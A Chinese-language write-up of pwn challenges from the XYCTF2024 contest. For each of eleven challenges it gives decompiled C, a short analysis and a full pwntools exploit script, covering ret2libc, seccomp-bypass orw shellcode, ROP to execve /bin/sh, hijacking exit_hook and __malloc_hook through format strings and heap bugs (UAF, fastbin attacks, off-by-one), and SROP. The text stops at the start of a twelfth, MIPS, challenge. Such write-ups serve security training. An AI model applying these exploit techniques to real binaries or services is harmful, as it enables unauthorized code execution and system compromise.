XYCTF2024 复现

Findkey Lv2

1. hello_world

确实是签到题,ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

init();
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
return 0;
}

分析

第一次读入写 0x28 字节,直接通过 %s 泄露出 libc 地址
第二次读入正常溢出打 ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.log_level = 'debug'
context.binary = './vuln'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')

io = process('./vuln')
gdb.attach(io, 'b $rebase(0x1233)')

# addr = 'xxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.recvuntil(b'please input your name: ')
io.send(b'a'*0x27+b'x')

io.recvuntil(b'x')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x29d90
info('libc base: ' + hex(libc.address))

rdi = libc.address+0x2a3e5
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
info('rdi: ' + hex(rdi))
info('system: ' + hex(system))
info('binsh: ' + hex(binsh))


payload = b'a'*0x27 + b'x' +p64(rdi+1)+ p64(rdi)+p64(binsh) + p64(system)
io.send(payload)

io.interactive()

2. invisible_flag

shellcode + sandbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+8h] [rbp-118h]

init();
addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
puts("ERROR");
return 1;
}
else
{
puts("show your magic again");
read(0, addr, 0x200uLL);
sandbox();
((void (*)(void))addr)();
return 0;
}
}

分析

mmap 了 0x114514000 这样一个地址,然后读入 shellcode

sandbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

ban 了不少常见的系统调用
这里介绍 openat + sendfile 的方式读文件

1
2
3
4
5
6
7
8
9
10
11
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd: 表示目录的文件描述符。如果是 AT_FDCWD,则相对路径是从当前工作目录开始查找。
pathname: 要打开的文件路径,例如"/flag"。
flags: 文件打开的标志,类似于 open 的标志,如 O_RDONLY、O_WRONLY、O_RDWR、O_CREAT 等。
mode: 新文件的权限,仅当使用 O_CREAT 时才需要。

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
out_fd: 目标文件描述符,通常是一个套接字文件描述符(socket),表示将数据发送到哪里。
in_fd: 源文件描述符,表示从哪里读取数据,通常是一个普通的文件。
offset: 指向偏移量的指针,表示从源文件的哪个位置开始读取。如果为 NULL,则从当前偏移量开始读取。
count: 需要传输的字节数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']


shellcode = '''
mov rdi,0xffffff9c
mov rax,0x67616c66
push rax
mov rsi, rsp
mov rdx, 0
mov rax,0x101
syscall

mov rdi,1
mov rsi, rax
xor rdx, rdx
mov r10, 0x40
mov rax, 0x28
syscall
'''

shellcode = asm(shellcode)

io = process('./vuln')
gdb.attach(io, 'b *0x114514000')

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.sendline(shellcode)

io.interactive()

静态编译的程序,会找 gadgets 就好了

1
2
3
4
5
6
7
__int64 vuln()
{
_BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF

puts("static_link? ret2??");
return read(0LL, v1, 256LL);
}

分析

就正常栈溢出,但是找不到 ‘/bin/sh’ 字符
所以考虑栈迁移,迁到已知地址写 ‘/bin/sh’

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

io = process('./vuln')
gdb.attach(io, 'b *0x401846')

# addr = 'xxx'.split(':')
# io = remote(addr[0], int(addr[1]))

offset = 0x20
ret = 0x40101a
rdi = 0x401f1f
rsi = 0x409f8e
rdx = 0x451322
rax = 0x447fe7
syscall = 0x401cd4
datas = 0x4C50F0

payload = b'a' * offset
payload += p64(datas)
payload += p64(0x401826)
io.recvuntil(b'static_link? ret2??')
io.sendline(payload)

payload = b'/bin/sh\0' * 4
payload += p64(datas)
payload += p64(rdi)
payload += p64(datas - 0x10)
payload += p64(rsi)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(rax)
payload += p64(0x3b)
payload += p64(syscall)

io.recvuntil(b'static_link? ret2??')
io.sendline(payload)


io.interactive()

4. fmt

如标题所说,就是 fmt 漏洞
但是,不是 printf

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init();
printf("Welcome to xyctf, this is a gift: %p\n", &printf);
read(0, buf1, 0x20uLL);
__isoc99_scanf(buf1);
printf("show your magic");
return 0;
}

分析

知道了 libc 地址
利用 scanf 可以在任意地址写任意内容
调试发现 libcld 有固定偏移
所以可以直接写 ld 上的 exit_hook(__rtld_lock_lock_recursive/__rtld_lock_unlock_recursive)
写为 one_gadget.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc-2.31.so')

io = process('./vuln')
gdb.attach(io, 'b *0x40128D')

# addr = 'xxxx'.split(':')
# io = remote(addr[0], int(addr[1]))


io.recvuntil(b'Welcome to xyctf, this is a gift: 0x')
libc.address = int(io.recvline().strip(), 16) - 0x61cc0
info('libc base: ' + hex(libc.address))
# dl_fini = libc.symbols['_dl_fini']
# info('_dl_fini: ' + hex(dl_fini))
exit_hook = libc.address + 0x222f68

payload = b'%8$s\0\0\0\0'+p64(exit_hook)*3
io.send(payload)

io.sendline(p64(0x4012C2))

io.interactive()

5. malloc_flag

heap 基础题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-130h] BYREF
int v5; // [rsp+4h] [rbp-12Ch]
int v6; // [rsp+8h] [rbp-128h]
int i; // [rsp+Ch] [rbp-124h]
FILE *stream; // [rsp+10h] [rbp-120h]
size_t n; // [rsp+18h] [rbp-118h]
void *ptr; // [rsp+20h] [rbp-110h]
size_t v11; // [rsp+28h] [rbp-108h]
size_t v12; // [rsp+30h] [rbp-100h]
void *v13; // [rsp+38h] [rbp-F8h]
char s2[64]; // [rsp+40h] [rbp-F0h] BYREF
char src[64]; // [rsp+80h] [rbp-B0h] BYREF
_BYTE v16[104]; // [rsp+C0h] [rbp-70h] BYREF
unsigned __int64 v17; // [rsp+128h] [rbp-8h]

v17 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
stream = fopen("flag", "rb");
if ( stream )
{
fseek(stream, 0LL, 2);
n = ftell(stream);
rewind(stream);
ptr = malloc(0x100uLL);
if ( ptr )
{
v11 = fread((char *)ptr + 16, 1uLL, n, stream);
if ( v11 == n )
{
fclose(stream);
free(ptr);
v5 = 0;
while ( 1 )
{
puts("1. 分配内存");
puts("2. 释放内存");
puts("3. 查看内存块");
puts("4. 查看内存块内容");
puts("5. 退出");
printf("请输入选项: ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
if ( numChunks > 9 )
{
puts("已达到最大内存块数,无法分配更多内存");
}
else
{
puts("请输入名字: ");
__isoc99_scanf("%s", src);
puts("请输入大小 (十进制或十六进制):");
__isoc99_scanf("%s", v16);
v12 = parseSize(v16);
v13 = zmalloc(v12);
if ( v13 )
{
strncpy((char *)&allocatedChunks + 72 * numChunks, src, 0x32uLL);
*((_QWORD *)&unk_4098 + 9 * numChunks) = v12;
qword_40A0[9 * numChunks++] = v13;
printf("已分配内存块,名字:%s,", src);
printSize(v12);
}
else
{
puts("内存分配失败");
}
}
continue;
case 2:
puts("请输入要释放的名字: ");
__isoc99_scanf("%s", s2);
v5 = 0;
v6 = 0;
break;
case 3:
displayChunks();
continue;
case 4:
puts("请输入要查看内容的内存块名字: ");
__isoc99_scanf("%s", s2);
showContent(s2);
continue;
case 5:
exit(0);
default:
puts("无效选项,请重新输入");
continue;
}
while ( 1 )
{
if ( v6 >= numChunks )
goto LABEL_22;
if ( !strcmp((const char *)&allocatedChunks + 72 * v6, s2) )
break;
++v6;
}
zfree(qword_40A0[9 * v6]);
printf("已释放内存块,名字:%s\n", s2);
for ( i = v6; i < numChunks - 1; ++i )
{
strncpy((char *)&allocatedChunks + 72 * i, (const char *)&allocatedChunks + 72 * i + 72, 0x32uLL);
*((_QWORD *)&unk_4098 + 9 * i) = *((_QWORD *)&unk_4098 + 9 * i + 9);
qword_40A0[9 * i] = qword_40A0[9 * i + 9];
}
--numChunks;
v5 = 1;
LABEL_22:
if ( !v5 )
printf(&byte_2090, s2);
}
}
fwrite(&unk_20E7, 1uLL, 0x1CuLL, stderr);
return 1;
}
else
{
fwrite(&unk_20D3, 1uLL, 0x13uLL, stderr);
return 1;
}
}
else
{
fprintf(stderr, &byte_20BC, v16);
return 1;
}
}

分析

一开始申请了一个大小为 256 的 chunk 写了 flag
只要再申请回来,然后 display 就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process('./vuln')
# addr = 'xxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.sendline(b'1')
io.sendline(b'flag')
io.sendline(b'256')
io.sendline(b'4')
io.sendline(b'flag')


io.interactive()

6. baby_gift

考察了点汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
Menu();
GetInfo();
return 0;
}

void GetInfo()
{
char s[32]; // [rsp+0h] [rbp-40h] BYREF
char v1[32]; // [rsp+20h] [rbp-20h] BYREF

printf("Your name:");
putchar(10);
fgets(s, 32, stdin);
printf("Your passwd:");
putchar(10);
fgets(v1, 64, stdin);
Gift();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0000000000401219 ; void Gift()
.text:0000000000401219 public Gift
.text:0000000000401219 Gift proc near ; CODE XREF: GetInfo+7F↓p
.text:0000000000401219
.text:0000000000401219 var_8 = qword ptr -8
.text:0000000000401219
.text:0000000000401219 ; __unwind {
.text:0000000000401219 endbr64
.text:000000000040121D push rbp
.text:000000000040121E mov rbp, rsp
.text:0000000000401221 mov [rbp+var_8], rdi
.text:0000000000401225 nop
.text:0000000000401226 pop rbp
.text:0000000000401227 retn
.text:0000000000401227 ; } // starts at 401219
.text:0000000000401227 Gift endp

分析

简而言之,关键就是通过栈溢出来给 rdi 赋值
然后跳到 printf 来泄露 libc 地址
为之后的 ret2libc 做铺垫

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

ret = 0x40101a

io = process('./vuln')
gdb.attach(io, 'b *0x401283')

# addr = 'xxx'.split(':')
# io = remote(addr[0], int(addr[1]))


io.recvuntil(b'Your name:')
io.sendline(b'1')

io.recvuntil(b'Your passwd:')
payload = b'%3$p'
payload = payload.ljust(0x20, b'\x00')
# payload += p64(ret)
payload += p64(0x404200)
payload += p64(0x401274)
io.sendline(payload)

io.recvline()
libc.address = int(io.recvuntil(b'\n').strip(), 16) - 0x1147e2
info('libc base: ' + hex(libc.address))

payload = b''
payload = payload.ljust(0x20, b'\x00')
payload += p64(0x4041a0)
payload += p64(libc.address + 0xebc81)

io.sendline(payload)

io.interactive()

7. Intermittent

有点意思,考察了对 shellcode 的熟练程度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // [rsp+0h] [rbp-120h]
int *v5; // [rsp+8h] [rbp-118h]
_DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = mmap(0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( v5 == -1LL )
{
puts("ERROR");
return 1;
}
else
{
write(1, "show your magic: ", 0x11uLL);
read(0, buf, 0x100uLL);
for ( i = 0LL; i <= 2; ++i )
v5[4 * i] = buf[i];
(v5)();
return 0;
}
}

分析

四个字节的 shellcode 断断续续的
pop 和 push 各占一字节,然后 jmp 到下一段 shellcode
构造二次读入写 shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

shellcode = asm('''push rdx
pop rsi
jmp $+16
syscall
syscall''')
sh = asm('''mov rax,0x68732f6e69622f
xor rdi,rdi
push rax
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
syscall
''')


io = process('./vuln')
gdb.attach(io, 'b *$rebase(0x135F)')

# addr = 'xxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

io.sendline(shellcode)

# pause()

io.sendline(b'\x90'*0x14+sh)

io.interactive()

8. guestbook1

哎,数组越位,真不熟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
GuestBook();
return 0;
}

void __cdecl GuestBook()
{
int index; // [rsp+Ch] [rbp-224h] BYREF
char name[32][16]; // [rsp+10h] [rbp-220h] BYREF
unsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREF

puts("Welcome to starRail.");
puts("please enter your name and id");
while ( 1 )
{
while ( 1 )
{
puts("index");
scanf("%d", &index);
if ( index <= 32 )
break; // 32
puts("out of range");
}
if ( index < 0 )
break;
puts("name:");
read(0, name[index], 0x10uLL);
puts("id:");
scanf("%hhu", &id[index]);
}
puts("Have a good time!");
}

分析

通过数组越位,写 rbp
然后迁移栈,爆破跳到后门函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']


while True:
try:
io = process('./pwn')
gdb.attach(io, 'b *0x4012A8')
# addr = 'xxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

for i in range(32):
io.recvuntil(b'index')
io.sendline(str(i).encode())

io.recvuntil(b'name:')
io.send(p64(0x40132B)*2)
io.recvuntil(b'id:')
io.sendline(b'0')


io.recvuntil(b'index')
io.sendline(b'32')

io.recvuntil(b'name:')
io.send(b'A' * 0x10)

io.recvuntil(b'id:')
io.sendline(b'0')

io.recvuntil(b'index')
io.sendline(b'-1')
io.interactive()
break
except:
io.close()

io.interactive()

9. fastfastfast

平平常常的 UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init();
while ( 1 )
{
while ( 1 )
{
menu(); // puts("1. create note");
// puts("2. delete note");
// puts("3. show content");
// printf(">>> ");
scanf("%u", &choice);
if ( choice != 1 )
break;
create();
}
if ( choice == 2 )
{
delete();
}
else
{
if ( choice != 3 )
{
puts("Error choice");
exit(0);
}
show();
}
}
}

void __cdecl create()
{
unsigned int idxx; // ebx
unsigned int c; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-18h]

v2 = __readfsqword(0x28u);
puts("please input note idx");
scanf("%u", &c);
if ( c <= 0xF )
{
idxx = c;
note_addr[idxx] = malloc(0x68uLL);
puts("please input content");
read(0, note_addr[c], 0x68uLL);
}
else
{
puts("idx error");
}
}

void __cdecl delete()
{
unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("please input note idx");
scanf("%u", &idx);
if ( idx <= 0xF )
free(note_addr[idx]); // uaf
else
puts("idx error");
}

void __cdecl show()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("please input note idx");
scanf("%u", &idx);
if ( idx <= 0xF )
{
if ( note_addr[idx] )
write(1, note_addr[idx], 0x68uLL);
else
puts("note is null");
}
else
{
puts("idx error");
}
}

分析

uaf 正常打 fastbin atk
劫持 malloc_hook 就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')


io = process(elf.path)
# gdb.attach(io, 'b *0x40154C')

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))


def cmd(s):
io.sendlineafter(b'>>> ', s)


def add(idx, content):
cmd(b'1')
io.sendlineafter(b'please input note idx', str(idx).encode())
io.sendafter(b'please input content', content)


def delete(idx):
cmd(b'2')
io.sendlineafter(b'please input note idx', str(idx).encode())


def show(idx):
cmd(b'3')
io.sendlineafter(b'please input note idx', str(idx).encode())


for i in range(12):
add(i, b'x' * 0x20)

for i in range(11):
delete(i)


cmd(b'1')
io.sendlineafter(b'please input note idx', str(0xcafebeef).encode()*0x100)


show(7)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecd90
info('libc.address:'+hex(libc.address))
one = libc.address + 0xe3b31
info('one:'+hex(one))
malloc_hook = libc.symbols['__malloc_hook']

for i in range(11):
add(i, b'x' * 0x20)

for i in range(7):
delete(i)

info('plz check some things')

delete(7)
delete(8)
delete(7)

for i in range(7):
add(i, b'x' * 0x20)

info('plz check some things')

add(7, p64(malloc_hook-0x23))
add(8, b'x')
add(9, b'x')
add(7, b'a'*0x23 + p64(one))

cmd(b'1')
io.sendlineafter(b'please input note idx', b'1')

io.interactive()

10. simple_srop

十分简洁的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
read(0, buf, 0x200uLL);
return 0;
}

__int64 init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return sandbox();
}

__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
return seccomp_load(v1);
}

分析

srop 先打栈迁移
然后 sroporw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process('./vuln')
# gdb.attach(io, 'b *0x4012CF')

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

offset = 0x28
signrt = 0x401296
syscall = 0x40129D
ret = 0x4012D5

sign = SigreturnFrame()
sign.rax = 0
sign.rdi = 0
sign.rsi = 0x404200
sign.rdx = 0x800
sign.rip = syscall
sign.rsp = 0x404208

io.sendline(b'a'*offset + p64(signrt) + bytes(sign))

signopen = SigreturnFrame()
signopen.rax = 2
signopen.rdi = 0x404200
signopen.rsi = 0
signopen.rip = syscall
signopen.rsp = 0x404308

signread = SigreturnFrame()
signread.rax = 0
signread.rdi = 3
signread.rsi = 0x404100
signread.rdx = 0x3c
signread.rip = syscall
signread.rsp = 0x404408

signwrite = SigreturnFrame()
signwrite.rax = 1
signwrite.rdi = 1
signwrite.rsi = 0x404100
signwrite.rdx = 0x3c
signwrite.rip = syscall
signwrite.rsp = 0


io.sendline(b'flag\0\0\0\0' + p64(signrt) + bytes(signopen) + p64(signrt) +
bytes(signread) + p64(signrt) + bytes(signwrite))


io.interactive()

11. one_byte

off by one 和 uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu(); // puts("Welcome to XYCTF");
// puts("[1] add_chunk()");
// puts("[2] delete_chunk()");
// puts("[3] view_chunk()");
// puts("[4] edit_chunk()");
// puts("[5] exit()");
// return printf(">>> ");
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
switch ( choice )
{
case 2:
delete_chunk();
break;
case 3:
view_chunk();
break;
case 4:
edit_chunk();
break;
case 5:
puts("[-] exit()");
exit(0);
default:
puts("[-] Error choice!");
break;
}
}
}

unsigned __int64 add_chunk()
{
unsigned int v0; // ebx
unsigned int idx; // [rsp+0h] [rbp-20h] BYREF
int size; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
scanf("%u", &idx);
if ( idx <= 0x1F )
{
if ( inused_list[idx] )
{
puts("[-] Chunk inuse!");
}
else
{
printf("[?] Enter chunk size: ");
scanf("%u", &size);
if ( size <= 0x200 )
{
v0 = idx;
chunk_list[v0] = malloc(size);
size_list[idx] = size;
inused_list[idx] = 1;
}
else
{
puts("[-] too big");
}
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 delete_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
scanf("%u", &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( chunk_list[v1] )
{
free(chunk_list[v1]); // uaf
inused_list[v1] = 0;
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 view_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
scanf("%u", &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( chunk_list[v1] )
write(1, chunk_list[v1], size_list[v1]);
else
puts("[-] No such chunk!");
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 edit_chunk()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
scanf("%u", &v1);
if ( v1 <= 0x1F )
{
if ( inused_list[v1] )
{
if ( chunk_list[v1] )
read_data(chunk_list[v1], size_list[v1]);
else
puts("[-] No such chunk!");
}
else
{
puts("[-] Chunk not inuse!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return __readfsqword(0x28u) ^ v2;
}

ssize_t __fastcall read_data(void *a1, int a2)
{
return read(0, a1, (a2 + 1)); // off by one
}

分析

off by one + uaf
填满 tcache bin 然后 fastbin atk
修改 malloc hook

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')

io = process('./vuln')
# gdb.attach(io, 'b *$rebase(0x181C)')
# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))


def cmd(c: int):
io.sendlineafter(b'>>> ', str(c).encode())


def add(idx: int, size: int):
cmd(1)
io.sendlineafter(b'[?] please input chunk_idx: ', str(idx).encode())
io.sendlineafter(b'[?] Enter chunk size: ', str(size).encode())


def delete(idx: int):
cmd(2)
io.sendlineafter(b'[?] please input chunk_idx: ', str(idx).encode())


def show(idx: int):
cmd(3)
io.sendlineafter(b'[?] please input chunk_idx: ', str(idx).encode())


def edit(idx: int, data: bytes):
cmd(4)
io.sendlineafter(b'[?] please input chunk_idx: ', str(idx).encode())
io.send(data)


for i in range(7):
add(i, 0xb0)

add(7, 0x18)
add(8, 0x20)
add(9, 0x80)
add(10, 0x20)

for i in range(7):
delete(i)

extend = b'a'*0x10
extend += p64(0) + p8(0xc1)
edit(7, extend)
delete(8)

add(8, 0x20)
show(9)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
info('libc.address: ' + hex(libc.address))
malloc_hook = libc.symbols['__malloc_hook']
info('malloc_hook: ' + hex(malloc_hook))
one = libc.address + 0xe3b01

info('plz check some things')

add(11, 0x80)
add(12, 0x80)
add(13, 0x80)

delete(13)
delete(9)
delete(12)

payload = p64(malloc_hook)
edit(11, payload)

add(14, 0x80)
add(15, 0x80)
add(16, 0x80)

payload = p64(one)
info('plz check the one gadget:'+ hex(one))
edit(16,payload)

add(17, 0x80)

io.interactive()

12. EZ1.0

异架构 mips,第一次见

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
